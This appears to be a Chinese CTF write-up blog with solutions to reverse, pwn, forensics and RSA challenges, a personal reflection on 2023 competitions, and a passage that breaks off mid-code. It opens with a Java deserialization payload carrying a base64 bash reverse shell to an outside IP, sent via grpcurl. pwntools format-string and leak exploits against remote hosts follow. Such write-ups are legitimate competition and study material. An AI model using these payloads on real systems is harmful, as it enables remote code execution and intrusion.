rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRv
cmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznB
H9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4
cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSC
nnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5z
Zm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFp
bmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUv
Y29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9u
cy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hl
LmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGU
AgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBz
cgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zv
cm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5h
bWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNz
O3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1
cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsA
AAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAA
AnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAA
AAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAA
AAF0AGFiYXNoIC1jIHtlY2hvLFltRnphQ0F0YVNBK0ppQXZaR1YyTDNSamNDODBOeTR4TURRdU1U
UXVNVFl3THpJek16TWdNRDRtTVE9PX18e2Jhc2U2NCwtZH18e2Jhc2gsLWl9dAAEZXhlY3VxAH4A
GwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4
cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFw
BQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4
eHg=

root@sp4c1ous:/mnt/e/GoogleDownload/grpcurl_1.8.9_linux_x86_64# ./grpcurl -d '{"serializeData": "rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AGFiYXNoIC1jIHtlY2hvLFltRnphQ0F0YVNBK0ppQXZaR1YyTDNSamNDODBOeTR4TURRdU1UUXVNVFl3THpJek16TWdNRDRtTVE9PX18e2Jhc2U2NCwtZH18e2Jhc2gsLWl9dAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg="}' -plaintext 8.147.129.191:18752 helloworld.Greeter.ProcessMsg
\{
  "message": "Hello World"
}

强网先锋

石头剪刀布

朴素贝叶斯模型

def train_model(X_train, y_train):
    model = MultinomialNB()
    model.fit(X_train, y_train)
    return model

def predict_opponent_choice(model, X_pred):
    return model.predict(X_pred)

def predict(i,my_choice):

    global  sequence
    model = None
    if i < 5:
        opponent_choice = [random.randint(0, 2)]
    else:
        model = train_model(X_train, y_train)
        opponent_choice = predict_opponent_choice(model, [sequence])

# ...Constructing a training set...#

    return opponent_choice

问了下GPT:

emm不会,决定人脑博弈:

ezre

原文件存在有反调试

去掉ollvm后

大体逻辑是多次base64在异或

存在反调试,可通过改eip绕过

动调得到各个base64表

l+USN4J5Rfj0TaVOcnzXiPGZIBpoAExuQtHyKD692hwmqe7/Mgk8v1sdCW3bYFLr
FGseVD3ibtHWR1czhLnUfJK6SEZ2OyPAIpQoqgY0w49u+7rad5CxljMXvNTBkm/8
Hc0xwuZmy3DpQnSgj2LhUtrlVvNYks+BX/MOoETaKqR4eb9WF8ICGzf6id1P75JA
pnHQwlAveo4DhGg1jE3SsIqJ2mrzxCiNb+Mf0YVd5L8c97/WkOTtuKFZyRBUPX6a
plxXOZtaiUneJIhk7qSYEjD1Km94o0FTu52VQgNL3vCBH8zsA/b+dycGPRMwWfr6

最后把处理后的表当作异或的key,动调出key

enc=[0x3A, 0x2C, 0x4B, 0x51, 0x68, 0x46, 0x59, 0x63, 0x24, 0x04, 
  0x5E, 0x5F, 0x00, 0x0C, 0x2B, 0x03, 0x29, 0x5C, 0x74, 0x70, 
  0x6A, 0x62, 0x7F, 0x3D, 0x2C, 0x4E, 0x6F, 0x13, 0x06, 0x0D, 
  0x06, 0x0C, 0x4D, 0x56, 0x0F, 0x28, 0x4D, 0x51, 0x76, 0x70, 
  0x2B, 0x05, 0x51, 0x68, 0x48, 0x55, 0x24, 0x19]

m=[0]*48

key=[25, 76, 22, 73, 110, 77, 74, 78, 16, 98, 22, 109, 16, 126, 78, 109, 76, 22, 73, 110, 77, 74, 78, 16, 98, 22, 109, 16, 126, 78, 109, 76, 22, 73, 110, 77, 74, 78, 16, 98, 22, 109, 16, 126, 78, 109, 76, 0]

for i in range(len(enc)):
    m[i]=(enc[i-1])^enc[i]^key[i]
m[0]=0x25^0x0e
print(bytes(m))
#b'+ZqSWcUtWBLlOriEfcajWBSRstLlkEfFWR7j/R7dMCDGnp=='

cyberchef解密

SpeedUp

https://oeis.org/A244060/b244060.txt

网上已经有2的27次方的阶乘的每一位数之和了0.0

这样的话就不用算自己去算了,直接跑一份sha256

Babyre

存在TLS会修改key和密文

#include <stdio.h>

void decrypt(unsigned int v[], unsigned char k[], unsigned char flag[]) {
    unsigned int v0 = v[0];
    unsigned int v1 = v[1];
    unsigned int delta = 0x77BF7F99;
    unsigned int sum1 = 0xd192c263;
    int i, j;

    for (j = 0; j < 4; j++) {
        for (i = 0; i < 33; i++) {
            sum1 += delta;
            v1 -= (v0 + ((v0 << 5) ^ (v0 >> 4))) ^ ((k[(sum1 >> 11) & 3]) + sum1);
            v0 -= (v1 + ((v1 << 5) ^ (v1 >> 4))) ^ (sum1 + (k[sum1 & 3])) ^ sum1;
        }
    }

    // Write v0 and v1 to flag array
    unsigned char* v0_bytes = (unsigned char*)&v0;
    unsigned char* v1_bytes = (unsigned char*)&v1;

    flag[0] = v0_bytes[0];
    flag[1] = v0_bytes[1];
    flag[2] = v0_bytes[2];
    flag[3] = v0_bytes[3];

    flag[4] = v1_bytes[0];
    flag[5] = v1_bytes[1];
    flag[6] = v1_bytes[2];
    flag[7] = v1_bytes[3];
}

int main() {
    unsigned char flag[17];
    unsigned int l[] = { 0x9523f2e0, 0x8ed8c293, 0x8668c393, 0xddf250bc, 0x510e4499, 0x8c60bd44, 0x34dcabf2, 0xc10fd260 };
    int i;
    unsigned char k[] = { 0x62, 0x6f, 0x6d, 0x62, 0 };

    for (i = 0; i < 4; i++) {
        unsigned int a[] = { l[2 * i], l[2 * i + 1] };
        decrypt(a, k, &flag[8 * i]);
    }

    printf("%s\n", flag);

    return 0;
}

ez_fmt

import os
import sys
import time
from pwn import *
from ctypes import *

#context.os = 'linux'
#context.log_level = "debug"

#context(os = 'linux',log_level = "debug",arch = 'amd64')
s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
l64     = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32     = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
#context.terminal = ['gnome-terminal','-x','sh','-c']

elf = ELF('./pwn')
libc = ELF('./libc-2.31.so')

def duan():
        gdb.attach(p)
        pause()

while True:
        try:    
                p =remote('47.104.24.40',1337)
                ru("There is a gift for you ")
                stack = int(p.recv(14),16)
                pl = '%'+str(0xe6)+'c%11$hhn'
                pl += '%'+str(0x2b01-0xe6)+'c%10$hn'
                pl = pl.ljust(0x20,'\x00')
                pl += p64(buf+0x68)+p64(buf+0x68+2)
                sl(payload)
                sl('cat flag')
                itr()
        except:
                p.close()
                continue

'''
0xe3afe execve("/bin/sh", r15, r12)
constraints:
  [r15] == NULL || r15 == NULL
  [r12] == NULL || r12 == NULL

0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
  [r15] == NULL || r15 == NULL
  [rdx] == NULL || rdx == NULL

0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL
  [rdx] == NULL || rdx == NULL

'''

Trie

import os
import sys
import time
from pwn import *
from ctypes import *

context.os = 'linux'
context.log_level = "debug"

#context(os = 'linux',log_level = "debug",arch = 'amd64')
s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
l64     = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32     = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']

x64_32 = 1

if x64_32:
        context.arch = 'amd64'
else:
        context.arch = 'i386'

#p = process("./pwn")
flag='flag'

def pwn(ip):
        p=remote("47.104.150.173", 1337)
        p.recvuntil('4. Quit.\n')
        p.sendline('1')
        p.recvuntil('Input destination IP:\n')
        p.sendline('0.0.0.0')
        p.recvuntil('Input the next hop:\n')
        p.sendline('10.10.10.10')
        p.recvuntil('4. Quit.\n')
        p.sendline('1')
        p.recvuntil('Input destination IP:\n')
        p.sendline('255.255.255.255')    
        p.recvuntil('Input the next hop:\n')
        p.sendline('10.10.10.10')
        p.recvuntil('4. Quit.\n')
        p.sendline('3')    
        p.recvuntil('4. Quit.\n')
        p.sendline('1')
        p.recvuntil('Input destination IP:\n')
        p.sendline(ip)
        p.recvuntil('Input the next hop:\n')
        p.sendline('10.10.10.10')
        p.recvuntil('4. Quit.\n')
        p.sendline('3')    
        p.recvuntil('4. Quit.\n')
        p.sendline('2')    
        p.recvuntil('Input destination IP:\n')
        p.sendline(ip)
        p.recvuntil('The next hop is ')

        message=p.recvuntil(b'\n\n')[:-2]
        success(message)

        ip=message.decode('utf-8').split('.')
        print(ip)
        for i in ip[::-1]:
                global flag
                flag+=chr(int(i, 10))
        p.close()

while True:
        for i in range(1, 9):
                bbb='1'*i+'0'*(8-i)
                aaa=str(int(bbb,2))+'.0.0.0'
                pwn(aaa)
                success(flag)
                sleep(0.4)

        for i in range(1, 9):
                bbb='1'*i+'0'*(8-i)
                aaa='0.'+str(int(bbb,2))+'.0.0'
                pwn(aaa)
                success(flag)
                sleep(0.4)

找到PNG了吗

Linux内存镜像,

vol3用的不熟,用2制作profile:

内核版本:Linux version 5.4.0-100-generic

https://treasure-house.randark.site/blog/2023-10-25-MemoryForensic-Test/

可以仿照这篇巨魔的文章做profile

做好之后,放到\volatility\plugins\overlays\linux​目录下,识别

识别到了已经

然后对镜像处理会有报错,按照上面文章提到的对dwarf.py和linux.py进行修改

https://github.com/volatilityfoundation/volatility/issues/828

https://github.com/volatilityfoundation/volatility/pull/852

https://github.com/volatilityfoundation/volatility/pull/852/commits/9ff9e9bb9103d63cbb278e991209aa11cffc61ce

成功识别

然后我们用 linux_enumerate_files​插件进行扫描

扫描出的文件可以输出到文本里,方便搜索:

发现一个特殊文件 /home/yuren/Desktop/have_your_fun.jocker

linux_find_file​进行提取文件,但是是0字节,应该是被删除了

批量搜一下这个 jocker​发现一个类似于脚本一样的东西,

#include <stdio.h>
 #include <stdlib.h>
 #include <string.h>
 #include <sys/socket.h>
 #include <arpa/inet.h>
 #include <unistd.h>
#define SERVER_IP "192.168.6.1"
 #define SERVER_PORT 110
 unsigned char buff[20000];
 void swap(char* a, char* b) {
     char temp = *a;
a = b;
b = temp;
 }
 void rc4_encrypt_decrypt(unsigned char key, unsigned char data, int data_length) {
     int i, j = 0, t;
     int s[256];
     int key_length = strlen((const char)key);
    for (i = 0; i < 256; i++) {
         s[i] = i;
     }
    for (i = 0; i < 256; i++) {
         j = (j + s[i] + key[i % key_length]) % 256;
         t = s[i];
         s[i] = s[j];
         s[j] = t;
     }
    i = j = 0;
     for (int k = 0; k < data_length; k++) {
         i = (i + 1) % 256;
         j = (j + s[i]) % 256;
         t = s[i];
         s[i] = s[j];
         s[j] = t;
         data[k] ^= s[(s[i] + s[j]) % 256];
     }
 }
 int main()
 {
     int clientSocket = socket(AF_INET, SOCK_STREAM, 0);
     if (clientSocket == -1) {
         printf("socket failed!\n");
         return 1;
     }
     struct sockaddr_in serverAddr;
     serverAddr.sin_family = AF_INET;
     serverAddr.sin_port = htons(SERVER_PORT);
     serverAddr.sin_addr.s_addr = inet_addr(SERVER_IP);
     connect(clientSocket, (struct sockaddr)&serverAddr, sizeof(serverAddr));
     int result = recv(clientSocket, buff, sizeof(buff), 0);
     int a=0;
     char q[10];
     unsigned char key[]="do_not_care";
     unsigned char key2[] = "where_is_the_key";
     FILE file = fopen("have_your_fun.jocker", "wb");
     if (file == NULL) {
         printf("open file failed!\n");
         return 1;
     }
     unsigned char *str;
     str = (char *) malloc(20000);
     memcpy(str, buff, 20000);
 rc4_encrypt_decrypt(key2, str, 20000);
     printf("please give me the key of fun:");
     scanf("%s",q);
     rc4_encrypt_decrypt(key, str, 20000);
    fwrite(buff, 1, 20000, file);
     printf("maybe you go wrong");
     fclose(file);
     close(clientSocket);
     return 0;
 }

就是两次RC4加密,并且给了密钥:do_not_care& where_is_the_key

虽然没有加密文件,但是根据PNG,我们用文件头 89504E47​ 来推出相应加密文件头

应该要以文件尾推出结果结束,但是没搜到,好在文件上下位置比较明显:

敬我们夜以继日、焚膏继晷的每一天

10.22-10.29,七天,辗转了三个地市,三场比赛,也算是给了自己三年CTF生涯一个交代。

山东省赛

10.22,第十届“科来杯”山东省赛,这原本是一场计划于2021年举办的比赛,可惜,在年末我们遇到了新冠病毒,一切都似乎摁下了停止键,但在经历了无数个日夜的会议商讨,与我们的共同努力下,在2023年10月比赛终于是落下了尾声。很幸运我们能拿到大学生团体组第一名,不知已时隔多少年,省赛特等奖的奖牌一路兜兜转转,来自前辈们的冠军之风终究是又吹到了山警。比赛形式是线下断网CTF,大部分是misc题目,题目不难,所以解题的时候还是蛮过瘾的,鏖战8个多小时,到最后也是真的疲惫不堪了,🧠的反应已然是跟不上自己的思路了,明明自己有了一点想法,切换到桌面却完全想不起来自己刚刚要去做什么,只能撇撇头,微微看向旁边的小姐姐,思考一会才能想起来,好折磨的,不过好在最后结局是好的,拿到了非常理想的成绩。大家站在领奖区,讨论起今天的比赛,眼神里充满着血丝却依旧难以掩饰心中的喜悦,最后在师弟师妹们的喝彩声中,我们捧起了那座并不沉重的冠军奖杯,我看着眼前摄影师的不断频闪的闪光灯,突然一下子恍惚了,感觉就像一场梦一样,“啊,已经结束了吗?”心里喃喃道,似乎还有点不太真实。

蓝帽杯

依稀记得上一年的蓝帽杯,自己还是一个三等奖,这其中种种原因,每次想起我都懊恼不已。2023,自己已经大四了,按说不应该再外出参赛,是时候该好好学习准备考试了,自己心里十分纠结,但为了弥补自己心中的遗憾,两个大爹也是为了再搏一把,前进一些,于是这一次我们从初赛开始,过五关斩六将,一路杀进决赛。10.28,来到北京,去见了几名在附近的好朋友,隔天便开始打比赛了,初赛和半决赛的赛制都是CTF,感觉还是很友好的,自己还是有很强的参与感,自己之前学了一点web但最后的渗透赛自己确实没有出多大的力,虽然是一等奖,但是没有什么感觉,心里基本没有泛起多少涟漪,甚至有点小不爽。。。

结束后,我将自己之前给一名我很珍视的人手写的一封信亲手交给了她,回酒店之后还去面基了各地的师傅们,令我意外的是大家会愿意接纳我,这种大规模的赛事,自己之后恐怕基本不会参加了,和师傅们见面便是见一次少一次了,青山不改,绿水长流,我们就此别过,师傅们江湖再见。

其他杂事

镜头拉远,声音淡出,这两次比赛间隔之间我还去参加了一场HW,RT,每天朝九晚五,日暮杯、酒淡饭,蓝队一半我一半,真的好累,在学校每天清晨出早操都没有像那几天这样累过,每天基本只吃一顿饭,每次下班后为了找漏洞利用点还会拖上几个小时,对身体、对脑力都是一种考验,尤其是在看到来自安恒、绿盟等著名安全大厂的专业人士出手时,更是能感受到自己的渺小,到最后已经是煎熬甚至有点“道心破碎”了,毕竟我们这些成果和他们相比实在是不值得一看。当时自己恰巧有其它烦心事,蔫了两三天,转念一想谁又不是从这个时候过来的呢?慢慢也就释怀了。。。

​​image

(附一张10月份比赛日程截图)

说下感受吧

对我而言,蓝帽杯结束,便是我和大家举杯的时候了,我们并肩作战的日子,马上就要和2023年的秋天一起过去了,但我相信,我们依旧会有相互交织的时光,敬我们那些无数个夜以继日、焚膏继晷的每一天,祝:海晏河清,你我来日方长!

从 NewStar Week2 入门 Crypto

感觉还是有点效果的,最起码一些简单的cry题目自己能够做出来了

NewStar

滴啤

题目:

不分解也能求

from Crypto.Util.number import *
import gmpy2
from flag import flag
def gen_prime(number):
    p = getPrime(number//2)
    q = getPrime(number//2)
    return p,q

m = bytes_to_long(flag.encode())
p,q = gen_prime(1024)
print(p*q)
e = 65537
d = gmpy2.invert(e,(p-1)*(q-1))
print(d%(p-1))
print(pow(m,e,p*q))
# 93172788492926438327710592564562854206438712390394636149385608321800134934361353794206624031396988124455847768883785503795521389178814791213054124361007887496351504099772757164211666778414800698976335767027868761735533195880182982358937211282541379697714874313863354097646233575265223978310932841461535936931
# 307467153394842898333761625034462907680907310539113349710634557900919735848784017007186630645110812431448648273172817619775466967145608769260573615221635
# 52777705692327501332528487168340175436832109866218597778822262268417075157567880409483079452903528883040715097136293765188858187142103081639134055997552543213589467751037524482578093572244313928030341356359989531451789166815462417484822009937089058352982739611755717666799278271494933382716633553199739292089

给了e, n, c,由于特别大,没法直接用质因数分解求得 q, p

qhint   =  q  % (p - 1)     #  其实 qhint  = dq
phint   =  d  % (p - 1)     #  其实 phint  = d
# python2
import gmpy2
import libnum
e=65537
n=16969752165509132627630266968748854330340701692125427619559836488350298234735571480353078614975580378467355952333755313935516513773552163392952656321490268452556604858966899956242107008410558657924344295651939297328007932245741660910510032969527598266270511004857674534802203387399678231880894252328431133224653544948661283777645985028207609526654816645155558915197745062569124587412378716049814040670665079480055644873470756602993387261939566958806296599782943460141582045150971031211218617091283284118573714029266331227327398724265170352646794068702789645980810005549376399535110820052472419846801809110186557162127
dp=1781625775291028870269685257521108090329543012728705467782546913951537642623621769246441122189948671374990946405164459867410646825591310622618379116284293794090970292165263334749393009999335413089903796624326168039618287078192646490488534062803960418790874890435529393047389228718835244370645215187358081805
c=0x6c78dcee37830f3ec4ab4989d40fbb595060b3fbc395d52ad26defc13372c1a3948c5388f4e450e46e016c7803133d6881e5efc3b90a4789448097c94124590b1e7949f2524d7edccd61a27691c18d090ac1f54643b563141306045417581e3b263f4ad2816136a48b106f3058b08e2a810f4ae8ef25916cc110b41ac8158ce69ecbe20fc60c1ddb20154c6646bc5142aefe47abf053a8ac949d5bc057bb18b191ad08070fe9ec5d76b1fceae685514532448c1b388b2d38e7241ac19c296e95e4e021a3a4015d909a1d53a2eb7fa86f6329f4e6c937f958be576c58fab4d9c9126999c99bb28718efc41a6f5db52b47942a2ddf21639f020b5489699cf22b46

for i in range(1,65538):
    if (dp*e-1)%i == 0:
        if n%(((dp*e-1)//i)+1)==0:
            p=((dp*e-1)//i)+1
            q=n//(((dp*e-1)//i)+1)
            phi = (p-1)*(q-1)
            d = gmpy2.invert(e,phi)%phi
            print(libnum.n2s(pow(c,d,n)))

image

不止一个pi

题目:

from flag import flag
from Crypto.Util.number import *
import gmpy2
p = getPrime(1024)
q = getPrime(1024)
n = p**3*q**2
print("q = ",q)
print("p = ",p)
m = bytes_to_long(flag.encode())
c = pow(m,65537,n)
print("c = ",c)

# q =  115478867870347527660680329271012852043845868401928361076102779938370270670897498759391844282137149013845956612257534640259997979275610235395706473965973203544920469416283181677660262509481282536465796731401967694683575843183509430017972506752901270887444490905891490955975762524187534052478173966117471143713
# p =  171790960371317244087615913047696670778115765201883835525456016207966048658582417842936925149582378305610304505530997833147251832289276125084339614808085356814202236463900384335878760177630501950384919794386619363394169016560485152083893183420911295712446925318391793822371390439655160077212739260871923935217
# c =  4459183928324369762397671605317600157512712503694330767938490496225669985050002776253470841193156951087663107866714426230222002399666306287642591077990897883174134404896800482234781531592939043551832049756571987010173667074168282355520711905659013076509353523088583347373358980842707686611157050425584598825151399870268083867269912139634929397957514376826145870752116583185351576051776627208882377413433140577461314504762388617595282085102271510792305560608934353515552201553674287954987323321512852114353266359364282603487098916608302944694600227628787791876600901537888110093703612414836676571562487005330299996908873589228072982641114844761980143047920770114535924959765518365614709272297666231481655857243004072049094078525569460293381479558148506346966064906164209362147313371962567040047084516510135054571080612077333228195608109065475260832580192321853906138811139036658485688320161530131239854003996457871663456850196483520239675981391047452381998620386899101820782421605287708727667663038905378115235163773867508258208867367314108701855709002634592329976912239956212490788262396106230191754680813790425433763427315230330459349320412354189010684525105318610102936715203529222491642807382215023468936755584632849348996666528981269240867612068382243822300418856599418223875522408986596925018975565057696218423036459144392625166761522424721268971676010427096379610266649911939139451989246194525553533699831110568146220347603627745407449761792135898110139743498767543521297525802809254842518002190381508964357001211353997061417710783337

不能直接将p**3​当作新p​,q**2​当作新q

# from flag import flag
from Crypto.Util.number import *
import gmpy2
# p = getPrime(1024)
# q = getPrime(1024)
# n = p**3*q**2
# c = pow(m,65537,n)
# print("q = ",q)
# print("p = ",p)
# m = bytes_to_long(flag.encode())
# c = pow(m,65537,n)
# print("c = ",c)

q =  115478867870347527660680329271012852043845868401928361076102779938370270670897498759391844282137149013845956612257534640259997979275610235395706473965973203544920469416283181677660262509481282536465796731401967694683575843183509430017972506752901270887444490905891490955975762524187534052478173966117471143713
p =  171790960371317244087615913047696670778115765201883835525456016207966048658582417842936925149582378305610304505530997833147251832289276125084339614808085356814202236463900384335878760177630501950384919794386619363394169016560485152083893183420911295712446925318391793822371390439655160077212739260871923935217
c =  4459183928324369762397671605317600157512712503694330767938490496225669985050002776253470841193156951087663107866714426230222002399666306287642591077990897883174134404896800482234781531592939043551832049756571987010173667074168282355520711905659013076509353523088583347373358980842707686611157050425584598825151399870268083867269912139634929397957514376826145870752116583185351576051776627208882377413433140577461314504762388617595282085102271510792305560608934353515552201553674287954987323321512852114353266359364282603487098916608302944694600227628787791876600901537888110093703612414836676571562487005330299996908873589228072982641114844761980143047920770114535924959765518365614709272297666231481655857243004072049094078525569460293381479558148506346966064906164209362147313371962567040047084516510135054571080612077333228195608109065475260832580192321853906138811139036658485688320161530131239854003996457871663456850196483520239675981391047452381998620386899101820782421605287708727667663038905378115235163773867508258208867367314108701855709002634592329976912239956212490788262396106230191754680813790425433763427315230330459349320412354189010684525105318610102936715203529222491642807382215023468936755584632849348996666528981269240867612068382243822300418856599418223875522408986596925018975565057696218423036459144392625166761522424721268971676010427096379610266649911939139451989246194525553533699831110568146220347603627745407449761792135898110139743498767543521297525802809254842518002190381508964357001211353997061417710783337
# n = p**3*q**2
# print(n)
n = 67609224996391014657776133236526961533287515075910005725386020739264421275993019731805499802328571980649928650621461743405933956465243606933968729054670292368212915305560845370775950912115842928349107397670366517222166661617404986609504508291645704089145910015426549092047602412464939974501602148388847128249825208504872590147534157725603286814584759946564578191861934604965746249723126980222803510460487101017242712811360609163376622387652827736571291760564915989586263687577815391845465766405508854253814480782572865550668118935076780358023998993793200124280017936904299998453398067814115123088442955540152596535353785062038981697307799069159656803188314359784560656028074439207263178942722631441593527222608594274571727909586852252656885853154917351354959802861484086853081975649160903589296750127546698401571547974182793816198542270904704439942944115164260287190076970580790466617950743753891962621919709132128185674637022152689646556391654735323050076777366347728609629474408132965367020232235933080733001377855172880131884496557567037082325816010736648622012227740532094614654576116067689232387975630819161018205673935853719811922753881794582830722709269617683661709608702161928400974871937453218763448793806431101263383123991454069867570680539777306445852495973613945204532199412618904051681905370709729775846504418305922135621455910928679594920450217355003557571517666044348687697909412179289383980074158313690311776265677874914291769162846202102200533579262207472340679940536119321613067181556618761704057125174709398765878366900497
e = 65537
# phi = n-1
phi_p3 = p**2 * (p-1)
phi_q2 = q * (q-1)
phi = phi_p3 * phi_q2
d = gmpy2.invert(e,phi)
print(d)
m = pow(c,d,n)
print(m)
print(long_to_bytes(m))

halfcandecode

题目:

from Crypto.Util.number import *
import gmpy2
from flag import flag
import os
from hashlib import md5

def gen_prime(number):
    p = getPrime(number // 2)
    q = gmpy2.next_prime(p)
    return p * q

def md5_hash(m):
    return md5(m.encode()).hexdigest()
e = 65537
n = gen_prime(1024)
m1 = bytes_to_long(flag[:len(flag) // 2].encode() + os.urandom(8))
c1 = pow(m1, e, n)
m2 = flag[len(flag) // 2:]
with open("out.txt","w") as f:
    f.write(str(n) + '\n')
    f.write(str(c1) + '\n')
    for t in m2:
